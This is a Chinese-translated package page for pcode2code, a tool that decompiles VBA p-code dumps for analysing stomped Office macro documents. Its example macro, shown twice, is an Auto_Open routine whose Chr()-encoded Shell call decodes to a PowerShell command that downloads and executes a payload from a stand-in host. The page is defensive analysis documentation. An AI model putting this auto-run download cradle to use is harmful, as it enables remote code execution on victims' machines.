一个基于 pcodedmp 的 vba p-code 反编译器
项目描述
pcode2code.py - VBA p 代码反编译器
它是什么?
2019 年,任何攻击者都可以轻松使用EvilClippy工具来处理将宏代码直接转换为字节码的 Office 文档。如需任何参考,请检查this或this。为了能够分析这种“踩踏”的文档,Bontchev 博士 ( @VessOnSecurity ) 发布了pcodedmp,这是一个以可读方式打印出文档的 VBA 字节码的工具。但是,输出可能仍然难以阅读和分析(请查看测试文件夹中的通心粉)。因此, pcode2code 根据pcodedmp的输出反编译 VBA 代码。
荣誉
非常感谢 Bontchev博士 ( @VessOnSecurity ) 所做的所有努力。刚刚弄清楚 pcodedmp 需要多少时间才能工作。
例子
让我们考虑一个文档,其代码如下:
Sub Auto_Open()
Dim exec As String
Dim testvar As String
Shell Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(73) & Chr(69) & Chr(88) & Chr(32) & Chr(40) & Chr(40) & Chr(110) & Chr(101) & Chr(119) & Chr(45) & Chr(111) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(110) & Chr(101) & Chr(116) & Chr(46) & Chr(119) & Chr(101) & Chr(98) & Chr(99) & Chr(108) & Chr(105) & Chr(101) & Chr(110) & Chr(116) & Chr(41) & Chr(46) & Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(115) & Chr(116) & Chr(114) & Chr(105) & Chr(110) & Chr(103) & Chr(40) & Chr(39) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(49) & Chr(51) & Chr(47) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116) & Chr(39) & Chr(41) & Chr(41)
End Sub
如果您在本文档中使用 pcodedmp,您将获得以下输出:
VBA/ThisDocument - 2809 bytes
Line #0:
FuncDefn (Sub Auto_Open())
Line #1:
Dim
VarDefn exec (As String)
Line #2:
Dim
VarDefn testvar (As String)
Line #3:
LitDI2 0x0070
ArgsLd Chr 0x0001
LitDI2 0x006F
ArgsLd Chr 0x0001
Concat
LitDI2 0x0077
ArgsLd Chr 0x0001
Concat
LitDI2 0x0065
ArgsLd Chr 0x0001
Concat
LitDI2 0x0072
ArgsLd Chr 0x0001
Concat
LitDI2 0x0073
ArgsLd Chr 0x0001
Concat
LitDI2 0x0068
ArgsLd Chr 0x0001
Concat
LitDI2 0x0065
ArgsLd Chr 0x0001
Concat
[ .... -> 252 more lines like this]
LitDI2 0x0029
ArgsLd Chr 0x0001
Concat
LitDI2 0x0029
ArgsLd Chr 0x0001
Concat
ArgsCall Shell 0x0001
Line #4:
EndSub
如果您使用 pcode2code,输出将如下所示:
stream : VBA/ThisDocument - 2809 bytes
########################################
Sub Auto_Open()
Dim exec As String
Dim testvar As String
Shell Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(73) & Chr(69) & Chr(88) & Chr(32) & Chr(40) & Chr(40) & Chr(110) & Chr(101) & Chr(119) & Chr(45) & Chr(111) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(110) & Chr(101) & Chr(116) & Chr(46) & Chr(119) & Chr(101) & Chr(98) & Chr(99) & Chr(108) & Chr(105) & Chr(101) & Chr(110) & Chr(116) & Chr(41) & Chr(46) & Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(115) & Chr(116) & Chr(114) & Chr(105) & Chr(110) & Chr(103) & Chr(40) & Chr(39) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(49) & Chr(51) & Chr(47) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116) & Chr(39) & Chr(41) & Chr(41)
End Sub
安装
该脚本将在 Python 2.6+ 和 Python 3.x 中运行。安装它的最简单方法是使用PyPipip
:
pip install pcode2code -U
上面的命令将安装最新版本pcode2code
(如果已经存在,则升级旧版本)pcodedmp
作为依赖项。实际上,它允许拥有该工具的所有功能。
如果您希望从 GitHub 存储库安装它,可以这样做:
git clone
cd pcode2code
pip install .
用法
该脚本将已被踩踏的 OLE2 文档或先前使用 pcodedmp 分析的文档的转储作为命令行参数。在后者中,您应该使用该-p
选项。默认情况下,处理的输出打印在控制台上,并且应该是有效的 VBA 代码。
该脚本还接受以下命令行选项:
-h
,--help
显示如何使用脚本以及命令行选项是什么的简短说明。
-v
,--version
显示脚本的版本。
-n
,--linenum
指示是否应在输出中包含行号。请注意,输出代码不再作为 VBA 代码有效。
-p
,--pcodedump
指示输入是否是以前 pcodedmp 的转储。
-o OUTFILE
,--output OUTFILE
将结果保存到指定的输出文件,而不是发送到标准输出。
-d
,--debug
用于调试和开发目的。在这里,不处理异常,使脚本因任何错误而中断。
API
该模块可以在您的 python 脚本中导入(如果它在您的路径中)
import pcode2code
虽然我让所有功能都可用,但应使用以下功能:
-
process(inputfile, outputfile=None, ispcodedump=False, linenum=False, isdebug=False)
:实现对输入的反编译操作。参数如下: inputfile = 要处理的文件, outputfile = 写入位置,默认写入 stdout, ispcodedump = 如果输入文件是 pcodedmp 的先前转储,则使用此, linenum :要在输出中打印行号, isdebug : 是否应该使用调试模式。
这是一个例子
import pcode2code pcode2code.process('~/evil.docm', 'output.txt')
发现错误?
在提交问题之前,请检查以下几点:
-
你的错误是一个通用的python错误/你在屏幕上打印了一个“发生通用异常”:
- 好吧,只需提交发现的错误,并附上文件。
-
你得到一些“Pcode2codeException”错误:
- 首先,在您的文档上运行 pcodedmp,并找到有问题的行和有问题的操作码
- 其次,检查操作码是否已知对 pcodedmp 有问题(在其 README 中),或者它是否已经存在已知问题(如下)
- 如果没有,请提交你的文档,问题,以及pcodedmp对应的输出
- 如果是,那么您应该等待新版本(或自己贡献:))
-
您与原始程序交叉检查,即使没有发生异常,输出也是错误的。
- 在这种情况下,您应该在文档上运行 pcodedmp,并首先检查 pcodedmp 输出是否有意义(此工具依赖于它)
- 如果是,则将您的错误与文档一起提交
- 如果没有,请询问@VessOnSecurity
已知问题
- pcodedmp的所有限制都适用于此处
- 基于 pcodedmp 的输出,枚举被翻译为类型
- 现在不支持以下字节码命令:缩放,与索引相关的所有命令,实现,
- 任何日期文字或浮点文字都不会转换回其原始形式(如果您现在如何将字节转换为文字,请联系我)
贡献
我对任何贡献都持开放态度,尽管它很小。不要犹豫,给我发邮件或在 Twitter 上联系我。
待办
- 提供正确的贡献指南,并使代码遵循编码标准
- 总有改进的余地,至少,提供所有正确的操作码翻译可能会很好
- 提供一种自动检测先前转储或 OLE2 的方法
更改日志
2019 年 11 月 21 日:1.0 版发布
2019 年 11 月 25 日:1.1 版发布
- 基于@VessOnSecurity 回退进行的几处更正。
贡献者
- Zilio Nicolas,作者
走得更远
获取代码可能不足以进行简单的分析。不要犹豫,尝试使用SourceFu对代码进行反混淆,或者创建一个文档并使用ViperMonkey。
项目详情
pcode2code -0.1.1.tar.gz 的哈希值
算法 | 哈希摘要 | |
---|---|---|
SHA256 | dff74823319adcd3925e6788b3459e0ed2783d1c006837e4f7c8fb8b1602eee9 |
|
MD5 | 9dc1b9604a1453cd62b6430cd1a4cf9e |
|
布莱克2-256 | 095d06fbf07be8a08bc56fef97796b21a0366fba6b83bf1e6232388cff8d49dd |